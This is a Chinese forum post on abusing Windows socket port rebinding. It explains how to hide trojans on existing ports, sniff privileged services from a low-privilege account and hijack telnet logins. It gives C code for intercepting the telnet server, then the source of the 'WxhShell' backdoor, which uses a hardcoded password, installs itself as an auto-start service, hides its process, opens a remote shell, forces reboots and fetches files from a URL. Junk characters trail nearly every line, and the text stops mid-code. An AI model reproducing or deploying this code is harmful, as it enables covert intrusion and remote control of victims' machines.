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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qBk[Afjgz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~;(\a@ _  
cEHpa%_5  
  saddr.sin_family = AF_INET; IEm?'o:  
u/W{JPlL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R V#w 0 r  
Z*Ffdh>*:&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :+ YHj )mN  
yl>^QMmo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -, +o*BP  
Yh]a4l0  
  这意味着什么?意味着可以进行如下的攻击: Dml?.-Uv<  
9?Bh8%$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hEjvtfM9\-  
"0!#De  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0faf4LzU!  
NL.3qx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ok--Jyhv#  
]Z[3 \~?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  UL ew ~j  
=F[M>o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !wAnsK  
azmeJpC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ydD:6bBX  
]9 @4P$I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B)/&xQu  
EW]DzL 3  
  #include 7_Vd%<:  
  #include 0of:tZU  
  #include G,A?yM'Vw  
  #include    ,pcyU\68v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M]V j  
  int main() @{V`g8P>  
  { 4=q4_ \_T  
  WORD wVersionRequested; Rq1 5AR  
  DWORD ret; z .lb(xQ  
  WSADATA wsaData; >$}Mr%49  
  BOOL val; Gad&3M0r  
  SOCKADDR_IN saddr; []\-*{^r  
  SOCKADDR_IN scaddr; djf8FNnn  
  int err; {{A=^rr%C  
  SOCKET s; nkq{_;xp  
  SOCKET sc; :V8oWMY  
  int caddsize; :TrP3wV _  
  HANDLE mt; }Bh\N 5G%  
  DWORD tid;   '1!%yKc0  
  wVersionRequested = MAKEWORD( 2, 2 ); )cN=/i  
  err = WSAStartup( wVersionRequested, &wsaData ); |x.[*'X@  
  if ( err != 0 ) { H"+|n2E^  
  printf("error!WSAStartup failed!\n"); H|s Iw:  
  return -1; W*H%\Y:N  
  } 6jr}l  
  saddr.sin_family = AF_INET; =[4C[s  
   z@[n?t!7k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *mWS+xcU(L  
\U]<HEc^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [HXd|,~_j-  
  saddr.sin_port = htons(23); El`G<esX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S@\&^1;4Hv  
  { un6W|{4]  
  printf("error!socket failed!\n"); {w>ofyqfp&  
  return -1; CNiJuj`  
  } 5'Mw{`  
  val = TRUE; U&kdR+dB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mn\L55?E(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ke*&*mx"L  
  { ygm=q^bV]s  
  printf("error!setsockopt failed!\n"); @ 6jKjI  
  return -1; ;).QhHeg>  
  } On4Vqbks  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 99h#M3@!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /\jRr7 Cd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -?T|1FA,  
l5e`m^GK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IxG0TJ_  
  { C/"Wh=h6  
  ret=GetLastError(); ORo +]9)Yv  
  printf("error!bind failed!\n"); tchpO3u,  
  return -1; F8m@mh*8>  
  } b4^a zY  
  listen(s,2); -J!k|GK#MX  
  while(1) Iq;a!Lya-  
  { USf;}F:-C  
  caddsize = sizeof(scaddr); KG5B6Om5'  
  //接受连接请求 /4BYH?*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %'F[(VB   
  if(sc!=INVALID_SOCKET) wu0J XB%&^  
  { w RTzpG4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mpCKF=KL.  
  if(mt==NULL) T7G{)wm  
  { #|xj*+)H  
  printf("Thread Creat Failed!\n"); ]=^NTm,  
  break; z81`Lhg6  
  } Lp||C@h~  
  } [0NH#88ym<  
  CloseHandle(mt); <CP't[  
  } 5geZ6]|  
  closesocket(s); () HIcu*i  
  WSACleanup(); 4s&koH(x  
  return 0; 3Z)vJC9'  
  }   ~f2-%~  
  DWORD WINAPI ClientThread(LPVOID lpParam) )vur$RX  
  { wmv/ ?g  
  SOCKET ss = (SOCKET)lpParam; WAw} ?&k  
  SOCKET sc; .=b)Ae c  
  unsigned char buf[4096]; EJrQ9"x&n  
  SOCKADDR_IN saddr; 9%Ftln6  
  long num; rFv=j :8  
  DWORD val; bO{wQ1)Z_  
  DWORD ret; o@\q6xl.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 mK7egAo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !Ys.KDL  
  saddr.sin_family = AF_INET; x:Tm4V{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u-Ip*1/wp  
  saddr.sin_port = htons(23); Qgv-QcI{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /Big^^u  
  { d 'wWj  
  printf("error!socket failed!\n"); T xwZ3E  
  return -1; s2+s1%^Ll  
  } qxwD4L`S  
  val = 100; *C(XGX\?-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?< $DQ%bf  
  { ^$O,Gy)V  
  ret = GetLastError(); HQ8;d9cGir  
  return -1; b _0Xi  
  } I%G6V a@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &@D,|kHk  
  { "^iw {]~U  
  ret = GetLastError(); 4~{q=-]V  
  return -1; A =k{Rl{LA  
  } #$>m`r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F0FF:><  
  { )![? JXf  
  printf("error!socket connect failed!\n"); ('p~h-9Vi  
  closesocket(sc); ny~~xQ"  
  closesocket(ss); aTY\mKk  
  return -1; M>g\Y  
  } *e05{C:kS  
  while(1) "(d7:!%  
  { -z4pI=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vvG#O[| O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *] cm{N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rfMzHY}%  
  num = recv(ss,buf,4096,0); MY}B)`yx=  
  if(num>0) Ey;uaqt  
  send(sc,buf,num,0); 7l3sd5  
  else if(num==0) n P4DHb&5  
  break; dAcy;-[[P  
  num = recv(sc,buf,4096,0); ',p`B-dw  
  if(num>0) h{cJ S9e}  
  send(ss,buf,num,0); toCT5E_0=  
  else if(num==0) * <_8]C0>  
  break; VS\~t  
  } qMe$Qr8  
  closesocket(ss); 9rmOf Jo:  
  closesocket(sc); oUBn:Ir@  
  return 0 ; ZtfPB  
  } 7.l[tKh  
g k[8'  
LN?W~^gsR  
========================================================== uN1O(s  
u>.qhtm[  
下边附上一个代码,,WXhSHELL qG%'Lt  
G u-#wv5@  
========================================================== xeX Pc7JG  
0Y9\,y_  
#include "stdafx.h" Iw$7f kq  
XaV h.  
#include <stdio.h> bgjo_!J+Pp  
#include <string.h> 3X&}{M:Qo  
#include <windows.h> 3R[5prE<  
#include <winsock2.h> O?9&6x   
#include <winsvc.h> {\L /?#  
#include <urlmon.h> Vn6g(:\w  
b}9Ry"  
#pragma comment (lib, "Ws2_32.lib") gG^K\+S  
#pragma comment (lib, "urlmon.lib") -Ug  
g3(fhfR'RN  
#define MAX_USER   100 // 最大客户端连接数 ayJKt03\O\  
#define BUF_SOCK   200 // sock buffer T0ebW w  
#define KEY_BUFF   255 // 输入 buffer (P[:g  
h+! Ld^'c  
#define REBOOT     0   // 重启 : YU_ \EV  
#define SHUTDOWN   1   // 关机 N(W ;(7  
[s4lSGh  
#define DEF_PORT   5000 // 监听端口 Og?]y ^y  
/bj D*rj  
#define REG_LEN     16   // 注册表键长度 K -!YD}OF  
#define SVC_LEN     80   // NT服务名长度 SAt{At  
fKMbOqU_  
// 从dll定义API ?j{LE- (  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $)M8@d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UHYnl ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *;wPAQE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "Fu*F/KW  
eEIa=MB*  
// wxhshell配置信息 d3AOuVUf  
struct WSCFG { !K#Q[Ee  
  int ws_port;         // 监听端口 Q0I22?  
  char ws_passstr[REG_LEN]; // 口令 ([='LyH];z  
  int ws_autoins;       // 安装标记, 1=yes 0=no jd|? aK;(  
  char ws_regname[REG_LEN]; // 注册表键名 0S0 ?\r  
  char ws_svcname[REG_LEN]; // 服务名 JZP>`c21y]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9GuG"^08  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hGx)X64Mw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Lc!% 3,#.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |>(;gr/5(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jX79Nm|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  `k/hC  
S$Tc\ /{  
}; ,25Qhz]  
T<"Hh.h  
// default Wxhshell configuration C{<qc,!4  
struct WSCFG wscfg={DEF_PORT, -gl7mO*  
    "xuhuanlingzhe", -aPvls   
    1, `g&<7~\=A  
    "Wxhshell", yT<yy>J9l#  
    "Wxhshell", 18pi3i[  
            "WxhShell Service", q/[)Z @&(  
    "Wrsky Windows CmdShell Service", p `)(  
    "Please Input Your Password: ", #`rvL6W q}  
  1, EM+#h'%-  
  "http://www.wrsky.com/wxhshell.exe", wIIxs_2Q0c  
  "Wxhshell.exe" E=.4(J7K  
    }; K)c`G_%G  
z^to"j  
// 消息定义模块 GpV"KVJJ/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y#EM]x5!=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <GI{`@5C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~{hcJ:bI  
char *msg_ws_ext="\n\rExit."; _6v|k}tW'Y  
char *msg_ws_end="\n\rQuit."; JJ5s |&}  
char *msg_ws_boot="\n\rReboot..."; UGK4uK+I`  
char *msg_ws_poff="\n\rShutdown..."; <taN3  
char *msg_ws_down="\n\rSave to "; j'#M'W3@  
FOxMt;|M  
char *msg_ws_err="\n\rErr!"; [!B($c|\  
char *msg_ws_ok="\n\rOK!"; st"uD\L1p:  
{#aW")x^#  
char ExeFile[MAX_PATH]; )54;YK  
int nUser = 0; y| *X  
HANDLE handles[MAX_USER]; lL.3$Rp;  
int OsIsNt; {k=H5<FV  
h=uwOi6}  
SERVICE_STATUS       serviceStatus; dHV3d'.P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &R:$h*Wt|  
48JD >=@7  
// 函数声明 #I jG[a-  
int Install(void); KiU/N$ E  
int Uninstall(void); fX=o,=-f  
int DownloadFile(char *sURL, SOCKET wsh); ZtPq */'  
int Boot(int flag); !sA[A>  
void HideProc(void); E^a He  
int GetOsVer(void); C=& 7V  
int Wxhshell(SOCKET wsl); vs-%J 6}G  
void TalkWithClient(void *cs); =l?F_  
int CmdShell(SOCKET sock); e)kN%JqW  
int StartFromService(void); ]5X=u(}  
int StartWxhshell(LPSTR lpCmdLine); #;59THdtPk  
T >X nVK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zi5d"V[}T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IKx]?0sS  
AvF:$ kG  
// 数据结构和表定义 M}|<# i7u  
SERVICE_TABLE_ENTRY DispatchTable[] = LP?E  
{ QZ!;` ?(  
{wscfg.ws_svcname, NTServiceMain},  :feU  
{NULL, NULL} ]3Z?Q  
}; ##~";j  
c+:LDc3!Gb  
// 自我安装 RO(~c-fV  
int Install(void) AsyJDt'i  
{ B -XM(C j  
  char svExeFile[MAX_PATH]; +.gM"JV  
  HKEY key; RN(>37B3_  
  strcpy(svExeFile,ExeFile); TxL;qZRY ^  
CPssk,q~C  
// 如果是win9x系统,修改注册表设为自启动 }!=}g|z#|  
if(!OsIsNt) { R0dIxG%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q 65mR!)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "L'0"  
  RegCloseKey(key); ,f ..46G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &VG|*&M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0Q^ -d+!  
  RegCloseKey(key); dLb9p"EE#  
  return 0; \mRRx#-r%  
    } Y0`@$d&n  
  } nA:\G":\y  
} J ik+t\A  
else { T=6fZ;7  
=\;yxl  
// 如果是NT以上系统,安装为系统服务 Ml`tDt|;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WqX#T  
if (schSCManager!=0) HAa2q=  
{ NV 6kj=r  
  SC_HANDLE schService = CreateService EugQr<sM#  
  ( 6%  +s`  
  schSCManager, `NIc*B4q.  
  wscfg.ws_svcname, T~B'- >O  
  wscfg.ws_svcdisp, o4I&?d7;"  
  SERVICE_ALL_ACCESS, N|cWTbi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >_3+s~  
  SERVICE_AUTO_START, 2$8#ePyq*  
  SERVICE_ERROR_NORMAL, P|mV((/m4  
  svExeFile, 2 MFGKzO  
  NULL, "vVL52HwB  
  NULL, :2#8\7IU^'  
  NULL, MRzrZZ%LQ  
  NULL, Q"UWh~  
  NULL ^6*LuXPv  
  ); $6\-8zNk  
  if (schService!=0) ;4DqtR"7Y  
  { .yp"6S^b  
  CloseServiceHandle(schService); Y{yN*9a79  
  CloseServiceHandle(schSCManager); r?Y+TtF\e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HF@K$RPK  
  strcat(svExeFile,wscfg.ws_svcname); #P:o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iwb]mJUA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @.T w*t  
  RegCloseKey(key); lLD-QO}/  
  return 0; nNe`?TS?f  
    } uM3F[p%V^  
  } 4Y>v+N^  
  CloseServiceHandle(schSCManager); jA ?tDAx`  
} .O9 A[s<  
} 2K/+6t}  
Wl3jbupu _  
return 1; ISo{>@a-  
} 5X^bvW26  
.eQIU$Kw!O  
// 自我卸载 V&)lS Qw  
int Uninstall(void) +QS7F`O  
{ A)I4 `3E  
  HKEY key; &mebpEHUG7  
ppcuMcR{  
if(!OsIsNt) { Op] L#<&T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wm@ />X  
  RegDeleteValue(key,wscfg.ws_regname); 1S !<D)n  
  RegCloseKey(key); C:C9swik"5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @)0-oa,u+  
  RegDeleteValue(key,wscfg.ws_regname); q7id?F}3&  
  RegCloseKey(key); "52nT  
  return 0; mG,%f"b0  
  } &=SP"@D  
} -OLXRc=  
} DwTqj=l  
else { @D.]PZf  
1iOQ8hD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MZ_+doN  
if (schSCManager!=0) j!c[$;  
{ [E_+fT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N_jCx*.G  
  if (schService!=0) r Ntc{{3_  
  { ~i)O^CKq  
  if(DeleteService(schService)!=0) { m#[tY >Q[b  
  CloseServiceHandle(schService); ;1Kxqp z_i  
  CloseServiceHandle(schSCManager); ;bJ2miO"e  
  return 0; Ydv\a6  
  } !6:q#B*  
  CloseServiceHandle(schService); F">>,Oc)U"  
  } !A>VzW  
  CloseServiceHandle(schSCManager); Y~=]RCg  
} s }P-4Sg  
} #A|~s;s>N  
.hh 2II  
return 1; Up|\&2_  
} I0\}S [+ H  
-"L)<J@gQ?  
// 从指定url下载文件 D7Y5q*F  
int DownloadFile(char *sURL, SOCKET wsh) <&'Ye[k  
{ X8T7(w<0%f  
  HRESULT hr; R#Z1+&='  
char seps[]= "/"; Nkfu k  
char *token; 1k@k2rE  
char *file; =2%EIZ0oW  
char myURL[MAX_PATH]; \! 8`kC  
char myFILE[MAX_PATH]; )2Gp3oD?  
a7G0  
strcpy(myURL,sURL); =l`xXma  
  token=strtok(myURL,seps); yVPkJ  
  while(token!=NULL) #UREFwSL  
  { *!De(lhEc  
    file=token; x/$s:[0B#  
  token=strtok(NULL,seps); |=.z0{A7H  
  } <DS+"#  
^iJMUV|  
GetCurrentDirectory(MAX_PATH,myFILE); qlUYu"`i  
strcat(myFILE, "\\"); 5 Vm |/  
strcat(myFILE, file); ?i4}[q  
  send(wsh,myFILE,strlen(myFILE),0); 06bl$%  
send(wsh,"...",3,0); +4emkDTdR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x{io*sY-  
  if(hr==S_OK) x>Ah4a d  
return 0; \K 01 F  
else g j`"|  
return 1; dG{`Jk  
pk'@!|g%=  
} w $7J)ngA9  
?U0iHg{  
// 系统电源模块 x q93>Hs  
int Boot(int flag) t" 1'B!4  
{ ak50]KYo  
  HANDLE hToken; `+b>@2D_  
  TOKEN_PRIVILEGES tkp; +j5u[X  
#)%N+Odnr  
  if(OsIsNt) { _C?<re3*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |7Z,z0 ?V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >vg!<%]W]  
    tkp.PrivilegeCount = 1; [|{yr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d"78w-S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [~)i<V|qJ  
if(flag==REBOOT) { =$5[uI2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *?oQ6g(Nz  
  return 0; v8Ncquv  
} 5|1&s3/f  
else { X|L8s$>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ok X\z[X  
  return 0; |0w'+HaE~N  
} G#'3bxI{f+  
  } A"Rzn1/  
  else { %5RYa<oP  
if(flag==REBOOT) { xiU-}H'o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kq`Luf  
  return 0; 9#%(%s 2 +  
} ~%^af"_  
else { UQ>GAzh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) < W,k$|w  
  return 0; w;Qo9=-  
}  L}AR{  
} q 9qmz[  
k=Ef)'  
return 1; lg;Y}?P  
} `<t{NJ&f  
'O`jV0aa'  
// win9x进程隐藏模块 ;:*o P(9k  
void HideProc(void) S$]:3  
{ L4sN)EI  
&F\J%#{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9G_=)8sOV  
  if ( hKernel != NULL ) `. %;|"xR  
  { ~PvW+UMLk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FStE/2?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?OKm~ Ek  
    FreeLibrary(hKernel); 7V0:^Jov  
  } MV$>|^'em  
2Z@<llsi  
return; CV4V_G  
} s~/]nz]"J  
~<, \=;b/  
// 获取操作系统版本 (uOW5,e7  
int GetOsVer(void) O)Nt"k7 b  
{ fokT)nf~^8  
  OSVERSIONINFO winfo; |k&.1NkZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -7ct+3"J  
  GetVersionEx(&winfo); /_,~dt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j %TYyL-  
  return 1; ^yK94U;<Gy  
  else G !1- 20  
  return 0; f'FY<ed<w  
} V@>?lv(\  
NJUYeim;  
// 客户端句柄模块 -f9M*7O<gf  
int Wxhshell(SOCKET wsl) K?[pCF2C  
{ [tMf KO  
  SOCKET wsh; + y.IDn^  
  struct sockaddr_in client; /F;*[JZIb  
  DWORD myID; .F#mT h  
Q77qrx3  
  while(nUser<MAX_USER)  8k J k5  
{ '0 ( Bb  
  int nSize=sizeof(client); _$ixE~w-!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T|.Q81.NE  
  if(wsh==INVALID_SOCKET) return 1; !u6~#.7  
?RpT_u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #C+Gk4"w  
if(handles[nUser]==0) A</[Q>8  
  closesocket(wsh); %hrv~=  
else Qb|w\xT^Y  
  nUser++; $:u,6|QsS=  
  } 2Fx<QRz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pDkT_6Q  
%\~;I73  
  return 0; )lw7 W9  
} m9G,%]4|  
o95O!5 hl  
// 关闭 socket e!4akKw4wD  
void CloseIt(SOCKET wsh) a+{g~/z;,Q  
{ ,xD{A}}V  
closesocket(wsh); {Y/| 7Cl0  
nUser--; ]3={o3[:  
ExitThread(0); R1Pnj  
} +=k?Dp[  
rG\m]C3E  
// 客户端请求句柄 Czv lZDo  
void TalkWithClient(void *cs) m/eGnv;!  
{ On'3K+(_  
6km u'vw  
  SOCKET wsh=(SOCKET)cs; fykN\b  
  char pwd[SVC_LEN]; x *qef_Hu  
  char cmd[KEY_BUFF]; xh-[]Jz(  
char chr[1]; s`#hk^{  
int i,j; :/~vaCZ  
*0c }`|  
  while (nUser < MAX_USER) { :W1,s53  
;*Rajq  
if(wscfg.ws_passstr) { NWAF4i&$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xx'>5d>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y5Pw*?kn  
  //ZeroMemory(pwd,KEY_BUFF); gE ,j\M*  
      i=0; h5f>'l z  
  while(i<SVC_LEN) { a^=4 '.ok  
mKsj7  
  // 设置超时 Ki=7nKs  
  fd_set FdRead; q#p)E=$  
  struct timeval TimeOut; 5z]dA~;*2  
  FD_ZERO(&FdRead); 'nT#3/rL  
  FD_SET(wsh,&FdRead); %M`|0g}!  
  TimeOut.tv_sec=8; {?!hUi+  
  TimeOut.tv_usec=0; dX$])b_Uw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tLvli>y@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D~?kvyJ  
%I.{umU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -:~`g*3#  
  pwd=chr[0]; `PW=_f={  
  if(chr[0]==0xd || chr[0]==0xa) { he+[  
  pwd=0; #>- rKv.A  
  break; 6VE >$`m  
  } ##s !-.T  
  i++; 6sZRR{'  
    } ~qqtFjlG^  
q~w;C([k_  
  // 如果是非法用户,关闭 socket pbzbh&Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^&6NB)6  
} L3GJq{t  
'D/AL\1{p(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +.N;h-'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ; zvnDox  
/y!Vs`PZ!  
while(1) { ,Tz ,)rY  
A0]o/IBz  
  ZeroMemory(cmd,KEY_BUFF); Tb)x8-0  
OK)0no=OAK  
      // 自动支持客户端 telnet标准   X,fTzkGj  
  j=0; p|FX_4RjX  
  while(j<KEY_BUFF) { kdHql>0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f9Xw]G9  
  cmd[j]=chr[0]; %om7h$D =`  
  if(chr[0]==0xa || chr[0]==0xd) { ZH}NlEn  
  cmd[j]=0; RdDcMZ  
  break; -of= Lp  
  } ('lnQD.Hd  
  j++; Za f)  
    } <+b:  
+>3c+h,%.  
  // 下载文件 rx;U/)~#<  
  if(strstr(cmd,"http://")) { W" !amMQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @s@  
  if(DownloadFile(cmd,wsh)) X,N@`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  \1MDCP9:  
  else +,-r b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dXDD/8E  
  }  qN QsU  
  else { [T%blaSX  
@TprS d  
    switch(cmd[0]) { !K 9(OX2;  
  EK#m?O:>  
  // 帮助 kC k-  
  case '?': { Y{yr-E #~M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AFFLnLA<L  
    break; }M7kApb>Y  
  } Sy'>JHx  
  // 安装 w7D:0SGD  
  case 'i': { 6,)y{/ENC  
    if(Install()) C IDL{i8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S|J8:-  
    else bVx]r[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IYO,/ kbf  
    break; V[mQ;:=  
    } /trc&V  
  // 卸载 kW~F*  
  case 'r': { !kcg#+s91  
    if(Uninstall()) FSmi.7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Y,F&8a$  
    else uqUo4z5T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z:v1?v  
    break; _UBI,Dg]  
    } N93E;B  
  // 显示 wxhshell 所在路径 _tk5?9Ykn  
  case 'p': { vck$@3*  
    char svExeFile[MAX_PATH]; ) G{v>Z ,  
    strcpy(svExeFile,"\n\r"); zoJ;5a.3B  
      strcat(svExeFile,ExeFile); UIl_& |  
        send(wsh,svExeFile,strlen(svExeFile),0); TUaK:*x*  
    break; [:QMnJ  
    } (*RybKoaA  
  // 重启 zvf]}mNx  
  case 'b': { ;Wa{q.)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &~%@QC/  
    if(Boot(REBOOT)) N>R%0m<e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ie(7m| .  
    else { nsT|,O  
    closesocket(wsh); #$w#"Nr9k  
    ExitThread(0); ?lK!OyCkc  
    } h9I )<_}R  
    break; X*"K g  
    } 3CE8+PnT  
  // 关机 g5Dx9d{  
